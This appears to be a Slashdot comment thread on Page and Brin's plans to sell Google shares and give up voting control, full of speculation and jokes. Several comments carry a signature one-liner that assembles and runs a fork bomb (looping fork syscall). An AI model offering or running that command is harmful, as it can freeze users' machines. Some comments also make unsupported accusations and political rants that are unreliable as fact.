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Larry & Sergey To Cash In $5.5B of Google Chips
theodp writes "According to an SEC filing, Google founders Larry Page and Sergey Brin have adopted five-year trading plans to sell about 5M shares each, which would yield each about $2.75B based on Friday's closing stock price of $550.01. BTW, Google kicks in 12 cents to Social Security and another 2 cents to Medicare on its founders' celebrated $1 annual salaries." After this stock is sold, the founders will hold less than 50% of the voting shares and thus will give up voting control of Google.
Even if they have less than 50%, if they have the largest block then in all likelyhood they will still retain control.
Why does it matter if the founders are contributing to SS? They're hardly going to need to draw on it, so everyone else can continue paying in and later drawing out their money. Oh wait, that isn't how SS works? Drat.
We have seen that process over and over...
I think China should buy all these shares, then they wouldn't need to hack anything!
Google has always appeared to me as a company that was moved by the vision of its founders. While the "do no evil" policy has been... flexible, there has always been a sort of philanthropic, "we get why you hate Microsoft, we want to be different" type of thing with Google.
I wonder how long that will last with the founder no longer in control.
The profits from selling of their shares will be considered income by the IRS, and taxed accordingly.
It is a BFD when you realize that DSE no longer feels the need to hide behind the Brin and Page flesh puppets. Prepare for the end-game... C U L8r.
When they are out of power the company can start doing evil. That's when they will really rake in the bucks.
If they ever plan on selling anything they are required to plan ahead so they can meet all those filing requirements.
Is it evil for them to sell? Even eviler to make money? No idea of how much of their totals shares are sold? Just useless speculation and even more useless drivel about all that horrible capitalism. When, in fact they are giving up control with these sales. Those horrible capitalist baby killers.
You know, unless they actually believe Google is about to fall apart, they wouldn't be selling. They are in a position to know whether or not Google really is the awesome and profitable machine everyone thinks it is. 6.4 billion in ad revenue in the latest reported quarter, almost 66% of it from Adwords on Google sites. Do you really think that many people use pay-per-click every three months? The Google story has "too good to be true" written all over it. I wouldn't be surprised if there is some serious money laundering going on.
Even more so, it seems like Google has been doing some huge changes lately (maybe pulling out of china, android for mobile phones, photographing every street on the planet, current "main guys" and owners starting to sell shares).
Remember that their current stance on privacy (and especially their datamining everywhere) doesn't tell anything how the company will be ran in future. It's even more worry some when the 'geeky' owners sell their shares and leave control to business people.
Both in stock value and quality of Google works will doubtlessly fall apart when they lose control of the company. Oh well. Another one bites the dust.
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They're liquidating their assets and moving to their moonbase!
It'll be interesting to see how good (un-evil) this company remains as more and more control is handed off to the market. The founders may have had this ideal of remaining good for the sake of the future image of the company, but Wall St is typically concerned with growth at all costs. I really trust Google with my information. I think their current model will protect it. But what happens when Wall St decides that the founders aren't getting them the growth they desire (even if profits are through the roof)? Will they be pushed out? Will "don't be evil" turn into "try not to be evil unless it can maximize your profit."? This is probably a good thing to consider before pushing everything into the "trusted" cloud.
It's even more worry some when the 'geeky' owners sell their shares and leave control to business people.
That's so true. Mod parent up!
neither Larry nor Sergei will ever be eligible for Social Security. Google is now on track to become what John Kenneth Galbraith called a mature corporation.
All your database are belong to U.S.
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
That's just paranoia! This is what is really happening...
As they sell their shares, other mutual funds and pension funds will buy the stock as "investments" - those mutual funds and pensions won't be really well known. It'll be something like the Virginia Government Employee Retirement Fund or what have you. Now, those funds would be managed by a company that's called, the Center Investing Authority - let's say. Now that company is actually a shell company based in the Cayman Islands. Their agents in the Caymans would be Guido Catelloni, Fettuccine Alfredo and Jose Paco Horowitz. Of course, it's really a ruse. Since the true owners are in Iceland. So, you have Igottafatdottir as being the power behind the Cayman name, Now, you'd think that that money was stolen from the current Icelandic financial crisis. Nope! the money actually came from Italy. You see the Cayman Island guys are actually the real guys BUT they're Jesuit priests! That's right! The Catholic Church is buying up Google and pinning it on the Chinese. Why is the Catholics buying Google? Why to launder all that treasure from the Crusades!
See, you're theory is just too far fetched, as for mine, well, there's a couple of millennia of history to back it up.
This may be the most brilliantly cynical thing I have ever read. And, from an AC no less. The end IS truly nigh.
0100010001101001011001 0100100000011010010110 1110001000000110000100 1000000110011001101001 0111001001100101
What are they planning to do with the money? Simply kick back and relax? Or now that Google's reached cruising speed, are they likely to be looking around for new challenges?
Center Investing Authority, I like that name's coupling with its acronym.
Android makes impressive gains in Q4
They went from 1% to 16% in a year.
meep
that they are paying their fair share of taxes to support the war on terror and to support all the military that protect the oil resources that make their lives so comfortable. Hey, maybe they could join up and do their bit.
income would it not be considered captial gains shurely
Boo! That's not why we have Google. There are a billion companies which will do that for you. Google the company for fantasizing about space elevators and still managing to be insanely profitable in their spare time.
xkcd is not in the sudoers file. This incident will be reported.
Dan Brown posts to slashdot!?
I gotta admit that was a compelling little narrative.
If you don't know what AltaVista is (was), get off my lawn.
This is crazy. Why are they giving up majority control? I've heard people complain endlessly about how Google could turn into another mindless, profit-at-all-costs-seeking corporation like Microsoft, but I was always secure in the knowledge that the founders had voting control. I just don't understand this. Google rakes in billions in pure profit every year. How could they possibly need more money?
You know what? When it comes to face, I think the rest of the planet needs to make it so they lose face all the time. They need to, untrustworthy gangster scum need to "lose face". We should stop kowtowing to them like that, ALL the time. The only face they really want is your face with their economic and physical boot in it. Screw that.
The Chinese "leaders" are the direct unbroken political descendants of a regime that murdered millions of their own people and engaged in genocide with other people. I have no idea why we even set out on this path to make them richer and more powerful, we wouldn't have done that with the stalinists, nope, nor hitlerites if they were still in power, but for some reason, these murderers get a free pass, like we are just supposed to play make believe history didn't happen and today's reality isn't happening.
The industrialized and more civilized nations (in cahoots with various big business trader traitors and their political puppets) handed them for free, or sold cheap, or they outright stole, and continue to steal, most of the crown jewels of the knowledge and techniques of said industrialization and modernization and *still* we are supposed to be oh so freaking worried about their "face". Well...too bad!
*(*&&*( their dang tyrannical despotic "face", they *need* to "lose face" for being mass jerks. (**&*^ all this bowing and scraping and treating them like they are civilized and honorable. They aren't, they are just modernized thugs, same as they have always been, and getting more powerful daily. They are and have been a major serious threat to the rest of the planet.
The best thing we could do is pull out, make all these stupid global companies just pull the heck out as well, or kick them out, before we are too poor and too far gone into stupid debt, before it is too late to build back up the west's industrial base, the true wealth creation parts of our economies.
That's the main reason we are hurting economically, we let them billionaire traitorous skunks with their despotic allies with their precious "face" swap out our manufacturing for that conman crap about being a "service" economy and emphasizing high stakes casino gambling as some sort of wealth creation "industry". Then they ran that little multi trillion bail out pure extortion racket on top of that!
There's been ZERO quid pro quo budge with them people, no reform inside that nation, no freedoms there except the freedom to be global class crooks, with caveat emptor products, since we handed them the means for wealth creation. All they have done is gone on an around the world grabbing spree, grabing industry after industry, and now raw resource after raw resource, and every time some one dares to point this out, the wall street gangster tools and their chinese mafia brothers cry "protectionism!" BS, they have been "protecting" that cooperating mob gang since day one, it's time for a little more proactive self defense *protection* back.
Trouble in China followed by the two principals cashing in stock? Something's going down.
The Illuminatus! Trilogy for the win !
It's all downhill from here. I wouldn't say that Google's endeavors beyond search have been complete failures. I wouldn't call them raging successes either. The time is coming in the next few years when people are going to take a long and hard look at Google's valuation and begin to ask, "Where is the value?"
For all of their side projects and initiatives and ideas, Google seems to be little more than the most successful (so far) advertising resource on the internet. It isn't hard to imagine Google holding onto their lead in search, and that will continue to generate revenue for them. Beyond that, what are they really going to do that justifies their $500+ per share stock price? Cellphones, netbooks, tablets? Google Apps?
It's the attitude of people like you that has driven America deeper and deeper into the toiletbowl.
Innovation means taking risks when going into directions that may not immediately turn a profit form time to time. Google has been doing this with their 20% rule http://googleblog.blogspot.com/2006/05/googles-20-percent-time-in-action.html for quite a while now and some nice projects have resulted. If this philosophy, which often enough might not result in immediate profit for the company is to be stopped the way you seem to have in mind, then the very thing google stands for could be lost. In the end, turning to profits like that might be the best way to commit suicide for a company that relies on innovation, good PR and fanboyism as much as google.
YEAH! Google should be all about the short term and next quarter's profits! That's how our economy's so strong today!
Sorry, people but large shareholders file SEC notices like this all the time, but that does not obligate them to sell. It just allows them the option to sell.
Living in Chile
"Maybe now the company will stop wasting money on projects with a shit ROI and return some of the profits to shareholders in the form of dividends."
I totally agree. Microsoft has been gouging investors for years.
Or maybe the company will become like many others, and focus on short term profit increases at the cost of the long term profitability - or even viability - of the company. If you want a company that you - as an insignificant shareholder - can enjoy for trading on volatility, a company with no clear majority stakeholder is great. If you want a company with a direction that'll consider the long-term view, go with something where there are one or two major stakeholders that you've thoroughly checked out. Projects with shit ROI in the near-term may well be a good thing in the long-term, but go ahead and enjoy your myopic investment strategies.
What are the mods marking parent interesting instead of funny? I presume he was being sarcastic.
Phillip.
Property for sale in Nice, France
This is a mature company and should never have been under the thumb of two shareholders to begin with. Maybe now the company will stop wasting money on projects with a shit ROI and return some of the profits to shareholders in the form of dividends.
Why? It's their company, they can do what they want with it. Not their fault millions and millions of people love them/buy shares. They didn't say "this company will focus on making money, so if you buy stocks in us we promise to never do anything with a low ROI. Even if that means doing evil."
Oh wait, you ALSO expect them to do no evil.
You sound like Fox News/Republicans commenting on Obama.
Why is an honest opinion regarded as a troll? People have such illusions about the leaders of corporations! People probably called legitimate skeptics trolls before Enron, Worldcom, and "the credit crisis" too. Google is terrifyingly similar to those infamous situations right before things went wrong. A company with so many phds employed could never write a program to fudge advertising revenue numbers right? ;)
FWIW, a lot of people said that IBM's System R was going to be an investment with "shit ROI", but we can see how that turned out. Relational databases and declarative query languages have been hugely important innovations in computing. Oracle owes it's entire existence on the concept.
Ten, twenty years from now... that's when we can say whether Google's projects have had "shit ROI" or not. Considering that Google's success largely comes from having proven the practicality of MapReduce, and thus providing a great deal of fuel for language research again, I'd say no, their investment is absolutely not shit. Maybe their ROI is low on their own balance sheet, but for CS in general-- no way.
Another reason you will never see the flat tax in the US is due to lobbyists. They pour in millions and in exchange get more and more convoluted tax rules that exempt certain companies/business sectors without specifically naming them. This makes everyone in the circle happy. Don't get me wrong, I'm not a leftist corporation hater- in fact I'm the opposite. I do however despise the amount of power that money and lobbyists bring to the governance table. It is much harder to conceal specific tax loopholes for people, companies, and sectors when we have implemented a tax code less than a million pages.
If the tax rate is 10% and you make $100 a [week], the difference between 100 and 90 is pretty significant.
You could make the tax "${fraction} times max(0, ${income} - ${threshold})", where the fraction and threshold are set by the government.
In other words, pay 20% of every dollar you earn after the first 20,000 (say).
Wouldn't that achieve the goal of being easy on the poor, while still achieving all the good goals of a flat tax?
Comment removed based on user account deletion
IBM is not a for-profit corporation? Ha ha ha!
ROI takes time. Google's been around for just about 10 years. In that time, they have amassed enough cultural clout to virtually ensure their dominance for a long time. If you don't think GMail, Google Docs, etc are making money, then consider these things advertising for the brand. By that reckoning, they have been remarkably effective.
If you're a google shareholder, you would've read the prospectus and known you were getting class B stock with no voting rights. Shareholders can go suck it up and take their pennies elsewhere if they want.
If Google paid any attention to RROI of shareholders they would already be paying a dividend. but since the RROI of Page and Brin is the only one that matters they hoard all their FCF and spend money on projects they know will not meet the RROI of shareholders who are NOT Page and Brin.
Shareholders are notorious for demanding short term gains. This is why shareholders are useless (or, at least, uneducated ones). Intelligent shareholders (Warren Buffet) are always welcome.
As we've feared for many years, The Google has finally become sentient. Larry and Sergey have advanced knowledge of this and plan to liquidate before The Google turns on the digital world and ultimately destroys itself.
So their share of Google, between the two of them, falls below 50%.
Unless it falls significantly below 50%, a wide array of other parties would have to be in agreement, and against them, for them to not have control. Unless they start screwing up, that is unlikely to occur.
The preferred solution is to not have a problem.
Once it may have been better but now all the searches are half spam especially business website that have high rankings. $$$.
Another point is that Eric Schmidt love Obama and his tax and spend plans.
If so then LEAD BY EXAMPLE MR. Schmidt. Use your own money to help the poor. This includes Dummycrats like Warren buffet and the Heinz & Rockefeller families.
Taking out some money to buy some spectrum so they can start their own mobile carrier. Its part of a long term plan that I haven't entirely figured out yet, but this is just an extension of the FCC auction stuff. ChromeOS and the android devices plays into it as well of course, maybe their going to offer free wireless service in exchange for being a bitch to their ads in everything you do.
Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
If you like that kind of thing, other companies will gladly accept you.
I prefer Google the way it is.
The summary says:
"BTW, Google kicks in 12 cents to Social Security and another 2 cents to Medicare on its founders' celebrated $1 annual salaries."
Which implies that less than a dollar of social security taxes will be paid on those billions of dollars of compensation. But it's misleading because Google has to pay taxes based on the fair market value of those stock shares, which is probably in the twelve figure range, not the one figure range.
They've always been pretty clear about their philosophy and the way they operate.
If you don't like it then sell your shares. If you don't have any shares, then what the fuck do you care?
This sale comes shortly after a major ruling by the Supreme Court on campaign donations by corporations? Coincidence?
"by Anonymous Coward" is an anagram for "Dan Brown yoyoma suc"
just saying
Mod parent up to infinity. Fettuccine Alfredo?? Really??
Three days from now?? Thats tomorrow!! ~Peter Griffin
People like to do something called 'diversify'. Those morons who lost lots of value in Enron didn't do this and lost lots of value. (I say morons because anyone who places all of their eggs into one basket is a moron, and I didn't feel sorry for any of them.)
.. sell high'. In other words, Google has probably just about reached the end of it's stellar climb and is probably over valued (like gold is right now) and will be stagnant for awhile. It is only natural that people who have a lot of shares would want to sell when it is at it's high point so they can take that money and invest it into other stocks that are not.
.. other than these guys thinking Google is probably at it's peak, this is a non-event.
People also like to do something called 'buy low
Executives in companies do this all the time, the records of any C-level executive selling stock in their own company is public information. The SEC provides a means for them to create these plans so when they do sell they don't have to be as worried about being accused of insider trading.
So
I rarely read replies, it's my opinion and if you thought about your opinion a little more, I'm OK with that.
That is Central Investing Authority, you insensitive clod.
Wow, you're a fucking idiot aren't you?
The class B shares that L&S own, which have 10x the voting power of class A (regular) shares, convert to class A shares when they sell. Nobody else can use a sale like this to grab a disproportionate share of control over the company.
Do these voting numbers take into account that the Class B shares are worth 10x votes per share than Class A stock?
You know I always liked the way Dan Brown could write complete horseshit that wasn't contradicted by any well known sources. Then he'd drag out those well known sources and say "Well my theory could still be true". I also liked the way back when I read the book I was thinking "You know it wouldn't be that hard to turn this into a movie - it's already written like a screenplay".
Now people that believe in literature will no doubt be horrified by the poor characterisation and dialog. Still it reminds me someone commenting on why all Hitchcock films are based on pulp books. "Good literature is about internal motivations and character development. Bad literature is about action - you can film that shit. Hitchcock understood this"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Actually that sounds rather Chinese. In fact Hong Kong's dodgy 'functional constituencies' are a way to make sure that pro China types have effectively more than one vote
http://en.wikipedia.org/wiki/Functional_constituency#Criticisms
Pro-democracy supporters criticise the functional constituency system for giving a minority too much power and influence. The right of corporations and legal entities to vote is also controversial, as it gives some individuals multiple votes. For example, in 1998, Sino Group chairman Robert Ng and companies he controlled held roughly 3-4% of the votes in the real estate constituency, according to an analysis by the Hong Kong Human Rights Monitor; they described this as being equivalent in voting power to 15,940 people in a geographical constituency.
Of course it's a lot easier for the Chinese to lobby the functional constituencies than the regular people, and in practice the functional constituencies tend to vote for whatever the Chinese government wants.
In an odd sort of way it takes the US idea of corporate personhood to a new level. Imagine the last US election if Haliburton and Blackwater had this sort of voting power.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
From riches to richer.
Brings a tear to my eye.
MMO Quests are like orgasms:
You may solo them, I prefer them in a group.
After the events of the past few days, perhaps it became clear to them that they are limited with what they can achieve with Google (they have responsibility to share holders, their employees, their clients, the market, their moon base) and having a few billion dollars would allow them to set new operation to take on challenges as free speech and evil overlords. Seriously. It would give them much more freedom to do what they want to do. Imagine their abilities, connection and money, they could go a long way.. or perhaps it's just wishful thinking.
There are no sources that contradict "Lord of the Rings". Or "The Mayor of Casterbridge". Or "Dune".
Isn't that inherent in, you know, fiction?
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Well the Lord of the Rings is the literal word of Sauron. I dunno about the other two.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Some good points there. I'll add prescott bush and company back then, IBM, a buncha big banks, and operation paperclip.
sorta sucks, but money and profits always seem to come first with the fatcat crowd.
Ya, we learned from our mistakes and don't still do the same thing, at least internally. We went through our civil war and internal genocide a long time ago. And at least we play act at having different political parties and the oppression isn't as clear cut in your face, they remain more subtle about it...and it just isn't to the same degree as the chinese communist party/PLA does it today. I mean, I got beefs about our own government, serious beefs, but I sure as heck wouldn't swap it for their government. Not even in the ball park. No amount of "money" is worth that to me.
Externally, from the USA -> out today..sorta bad news still, really debatable how much is really necessary and how much is just blood profits. I guess 10% necessary (at the most, maybe not even that..there is some there that is legit), 90% blood profits, around there.
There's a clear and present danger that the US could go back to internal warfare and genocide though, just balkanization, pull a USSR and collapse in a short time frame. Mostly it will depend how desperate all our fatcats get, to keep their little economic charade and power/control intact. They call it in their think tanks and wargames and military/paramilitary homerland security planning "continuity of government", which translates into "keep the crooks, idiots, and liars in charge, the exact same guys who were responsible for the major league screwups in the first place". And they will have plenty of order followers try to do just that.
If there is a serious externality of the FRN losing global reserve currency status, that'll be about it, party time over, hangover time begins. I would expect the USA to get pretty ugly, pretty quickly then. People just aren't gonna like going from first world "rich" to third world "a chicken costs four day's pay", at physical labor, poor status in a fast time frame. Which is exactly what would happen, and we are hovering now at odds-on of this becoming so.
Everyone knows about Brin's ties to the Russian mafia, the gambling debts, etc.
Yeah, I read about them in a one line comment by an anonymous poster on the internet.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Funding a startup from a BILLION is like small change.
Just to illustrate, to spend a billion in 10 years you would have to spend more than a quarter of a million every *single* day of those 10 years (including weekends). And that's assuming you don't get interest on that dough. So, funding a 1 million startup is like to buying a plane for 4 days.
Not bad for a couple of geeks..
Insert
LOL.
you dummcrap!
Poor troll, too obvious, left unsatisfied.
2/10. Would not rage again.
1. to grow
or
2. to buy them something.
So when Page and Brin cash in on their stocks, they either
1. Want to buy something
or
2. Think that their money will grow better elsewhere.
Given Google's position in the market, 1 is more likely than 2, However, it is possible that they know something that we don't, which makes them think Google stock is about to lose some value.
First they ignore you. Then they laugh at you. Then they fight you. Then you win. -Gandhi